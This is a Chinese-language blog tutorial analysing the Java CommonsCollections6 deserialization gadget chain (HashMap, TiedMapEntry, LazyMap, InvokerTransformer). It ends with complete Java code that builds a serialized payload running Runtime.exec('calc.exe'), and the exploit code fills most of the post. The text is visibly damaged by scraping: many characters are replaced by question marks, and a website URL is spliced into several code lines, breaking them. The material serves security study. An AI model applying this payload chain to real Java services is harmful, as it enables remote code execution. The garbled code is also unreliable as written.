Java安全之CC6

前言之前三篇详细分析了CommonsCollections1利用链,两种方法 , LazyMap以及TransformedMap,但是在Javaa 8u71以后,这个利?链不能再利?了 , 主要原因是 sun.reflect.annotation.AnnotationInvocationHandler#readObject的逻辑变化了
在ysoserial中,CC6解决了高版本不能利用的问题 。接下来就来看看
分析ysoserial中的代码过于复杂,所以来看这条简化版利?链:
/* Gadget chain:java.io.ObjectInputStream.readObject()java.util.HashMap.readObject()java.util.HashMap.hash()org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode() org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()org.apache.commons.collections.map.LazyMap.get()org.apache.commons.collections.functors.ChainedTransformer.transform()org.apache.commons.collections.functors.InvokerTransformer.transform()java.lang.reflect.Method.invoke()java.lang.Runtime.exec()*/关注点主要是从最开始到org.apache.commons.collections.map.LazyMap.get(),因为 LazyMap#get后?的部分和CC1相同 。所以简单来说,解决Java?版本利?问题,实际上就是在高版本中找上下?中是否还有其他调?LazyMap#get()的地? 。
找到的类是org.apache.commons.collections.keyvalue.TiedMapEntry,在其getValue?法中调?了 this.map.get,?其hashCode?法调?了getValue?法
import org.apache.commons.collections.KeyValue;public class TiedMapEntry implements Entry, KeyValue, Serializable {private static final long serialVersionUID = -8453869361373831205L;private final Map map;private final Object key;public TiedMapEntry(Map map, Object key) {this.map = map;this.key = key; }public Object getKey() {return this.key; }public Object getValue() {return this.map.get(this.key); } // ...public int hashCode() {Object value = https://www.huyubaike.com/biancheng/this.getValue();return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^(value == null ? 0 :value.hashCode()); } // ...}所以,欲触发LazyMap利?链,要找到就是哪?调?了TiedMapEntry#hashCode
java.util.HashMap#readObject中就可以找到 HashMap#hash()的调?
public class HashMap<K,V> extends AbstractMap<K,V>implements Map<K,V>, Cloneable, Serializable {// ...static final int hash(Object key) {int h;return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);}//...private void readObject(java.io.ObjectInputStream s)throws IOException, ClassNotFoundException {// Read in the threshold (ignored), loadfactor, and any hidden stuffs.defaultReadObject();//...for (int i = 0; i < mappings; i++) {@SuppressWarnings("unchecked")K key = (K) s.readObject();@SuppressWarnings("unchecked")V value = https://www.huyubaike.com/biancheng/(V) s.readObject();putVal(hash(key), key, value, false, false);}}}在HashMap的readObject?法中,调?到了hash(key) ,?hash?法中,调?到了 key.hashCode() 。所以,我们只需要让这个key等于TiedMapEntry对象 , 即可连接上前?的分析过程,构成?个完整的Gadget
构造?先,构造恶意LazyMap
Transformer[] fakeTransformers = new Transformer[] {newConstantTransformer(1)};Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[] { String.class,Class[].class },newObject[] { "getRuntime",new Class[0] }),new InvokerTransformer("invoke",new Class[] { Object.class Object[].class },newObject[] { null, new Object[0] }),new InvokerTransformer("exec",new Class[] { String.class },new String[] { "calc.exe" }),new ConstantTransformer(1),};Transformer transformerChain = new ChainedTransformer(fakeTransformers);为了避免本地调试时触发命令执 ?,在构造LazyMap的时候先??个?畜?害的 fakeTransformers 对象,等最后要?成Payload的时候,再把真正的 transformers 替换进去 。
将上面的transformer包装成恶意LazyMap对象outerMap , 将其作为TiedMapEntry的map属性 。
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");接着,为了调? TiedMapEntry#hashCode(),我们需要将tme对象作为 HashMap的?个key 。注意 , 这?我们需要新建?个HashMap,?不是?之前LazyMap利?链?的那个HashMap,两者没任何关系 。
Map expMap = new HashMap();expMap.put(tme, "valuevalue");最后 , 可以将这个expMap作为对象来序列化了,不过,别忘了将真正的transformers数组设置进来
整体Payload如下:
public class CC6 {public static void main(String[] args) throws Exception {Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};Transformer[] iTransformers= new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),new InvokerTransformer("exec",new Class[] {String.class},new String[]{"calc.exe"})};Transformer chain = new ChainedTransformer(fakeTransformers);Map innerMap = new HashMap();Map outerMap = LazyMap.decorate(innerMap, chain);TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");Map expMap = new HashMap();expMap.put(tme, "valuevalue");Field f = ChainedTransformer.class.getDeclaredField("iTransformers");f.setAccessible(true);f.set(chain, iTransformers);//生成序列化字符串ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(barr);oos.writeObject(expMap);oos.close();System.out.println(barr);//本地测试ObjectInputStream ois = new ObjectInputStream(newByteArrayInputStream(barr.toByteArray()));Object o = (Object)ois.readObject();}}

推荐阅读